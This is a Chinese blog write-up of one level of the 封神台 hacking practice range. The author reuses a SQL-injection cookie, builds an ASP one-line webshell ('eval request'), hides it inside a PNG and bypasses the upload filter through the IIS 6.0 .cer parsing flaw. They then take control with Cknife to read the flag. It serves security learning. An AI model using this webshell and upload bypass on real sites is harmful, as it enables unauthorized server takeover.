## mbp 封神台靶场 五 (笔记)

## 原创

 qq\_43558415
 ● 于 2020-02-09 20:40:25 发布
 ● 633 
 ◆ 收藏 1

 分类专栏:
 封神台靶场

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/qq\_43558415/article/details/104239822

 版权



封神台靶场 专栏收录该内容

7篇文章4订阅

订阅专栏

打开链接,发现需要使用上一关的cookie,删除flag并复制放入modheader中即可。

$\equiv$ Profile 1	TAB LOCK	+	:
Name	Value		
Request Headers			
Cookie	id=171+union+select+0,passw	К	×
Cookie	ASPSESSIONIDAARTSDBR=E	к К	×
Cookie	id=171+union+select+0,1,2,3,4	к И	×

或者用burp抓包替换cookie都可以,登录进去显示管理系统界面。

企业网站管理系统					
		管理快捷方式			
快捷功能链接	管理员管理				
		系统信息			
用户名: admin		IP:			
身份过期: 30 分钟		现在时间: 2020年2月10日3:34			
上线次数: 549		上线时间: 2018-3-30 18:27:39			
服务器域名: 59.63.200.79 / 59.63.200.79:8	3005	脚本解释引擎: VBScript/5.6.8832			
服务器软件的名称: Microsoft-IIS/6.0		浏览器版本: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0			
FSO文本读写: √		数据库使用: √			
Jmail组件支持: 🗙		CDONTS组件支持: ×			

看了题目的提示,需要上传脚本上去,搞到它的后台。点开各个页面,发现里面有可以上传的地方。



於筑百理	
企业信息	۲
产品管理	۲
产品类别	
产品管理	
添加产品	
甲1%/ 四	
询价管理	۲
下载中心	۲
新闻管理	۲
留言管理	۲
案例管理	۲
人才管理	۲
友情链接	۲
Web Information	«
企业网站管理系统	

便准备写一个一句话木马上传试一试,新建一个1.txt文件,输入 <% eval request('mac') %> 即可,并将后缀名改为1.asp,选择上传发现这种文件类型不能上传,只有规定的几种才能上传。

这种文件类型不允许上传! 只允许上传这几种文件类型:gifljpg	glbmplpnglswfldocIrarlcer
说明:	确定 https://blog.csdn.net/qq_43558415

于是想到了图片马,我

在屏幕上随便截了个图命名2.png,通过终端将两个文件合成为3.png,步骤如下:

- cd 目标文件夹 进入到mbp的存放桌面上
- cat 1.asp 2.png > 3.png 将两个文件合并成新的文件

然后上传,发现成功,复制存储路径并放入cknife中。

259.63.200.79:8005/admin/default.asp	驟 … 🖬 🏠	⊻ III\ 🖸 ≶
] 常用网址 🜐 京东商城		A Street Land
	企业网站管理系统	
	🕢 代码 🔄 设计 🖉 文本 💽 预览	4 <b>-</b>
	₩ <u>•</u>	
	G	
	<u>i</u>	

英文产品说明:	○代码 ●设计 ② 文本 ● 預览				
产品图片:	UploadFiles/202021035957498.png 文件上传成功!文件大小为:13K				
已通过审核:	☑ 是(如果选中的话将直接发布)				
首页显示:	☑ 是(如果选中的话将在首页显示)				
首页新品显示:	☑ 是(如果选中的话将在首页显示为新品展示)				
录入时间:	2020-2-10 3:46:36 当前时间为: 2020-2-10 注意不要改变格式。	974			

通过cknife加网址之后连接还是出错。注意到这个服务器是iis6.0,便百度搜索了iis6.0的漏洞,发现它会将cer文件解析成asp文件。

	1秒后自动关闭窗口	
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 Content-Length: 1308 Date: Sun, 09 Feb 2020 20 X-Powered-By: ASP.NET Content-Type: text/html	0:02:31 GMT	
HTML PUBLIC<br //www.w3.org/TR/html4/ <html> <head> <title> <meta http-equiv="Con&lt;br&gt;charset=GB2312"/> <style type="text/css"></style></title></head></html>		

Cknife 1.0 Release • • • 列表 59.63.200.79 D:\05\ 读取 🥯 C: 文件 时间 大小 属性 9656 2019-04-10 15:58:08 Feedback.asp 32 🔻 🥯 D: FeedbackMember.asp 10372 2013-04-07 18:15:00 32 ▼ 📗 05 FeedbackSave.asp 2013-04-07 18:15:00 2282 32 퉬 UploadFiles FeedbackView.asp 2019-04-10 15:58:08 9259 32 ] admin 2018-03-30 19:26:00 24 FLAG!.txt 32 **D** 

然后我重新将3.png改为3.cer进行上传,重复上面操作,进入后台,得到flag。

	u L u L u L u L u L u L u L u L	Databases lash mages mg mgbly mgbyw nc Menu	Foot.asp GetPassword.asp Head.asp Help.asp History.asp home.asp HomeMarket.asp HrDemand.asp HrDemandAccept.asp HrPolicy.asp Image.asp Index.asp index_05.jpg index_09.jpg index_10.jpg	2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2019-04-10 15:58:08 2019-04-10 15:58:08 2013-04-07 18:15:00 2013-04-07 18:15:00 2013-04-07 18:15:00 2019-04-10 15:58:08 2010-04-16 17:39:00 2010-04-16 17:39:00 2010-04-16 17:39:00 2013-03-20 23:53:00	1129 9990 5041 2025 4576 359 5124 9904 23523 5171 3342 7555 2335 23687 23347 12970	32 32 32 32 32 32 32 32 32 32 32 32 32 3	
--	--	--	--	---	---	---	--

		Cknife 1.0 Re	lease	
	列表	59.63.200.79	59.63.200.79	
载入 D:\05\FLAG!.txt				保存
Z				
完成				

总结:本关通过上传木马来获得网页后台,在实际操作中先去了解了mac系统如何创建txt文件和合并文件的操作,之后成功制作 图片马,一句话木马需要根据脚本语言进行填写,因为本站使用的asp脚本语言,所以用asp一句话木马。在服务器漏洞发现的 基础上cknife(菜刀)对我的帮助也挺大,能对网站后台可视化管理。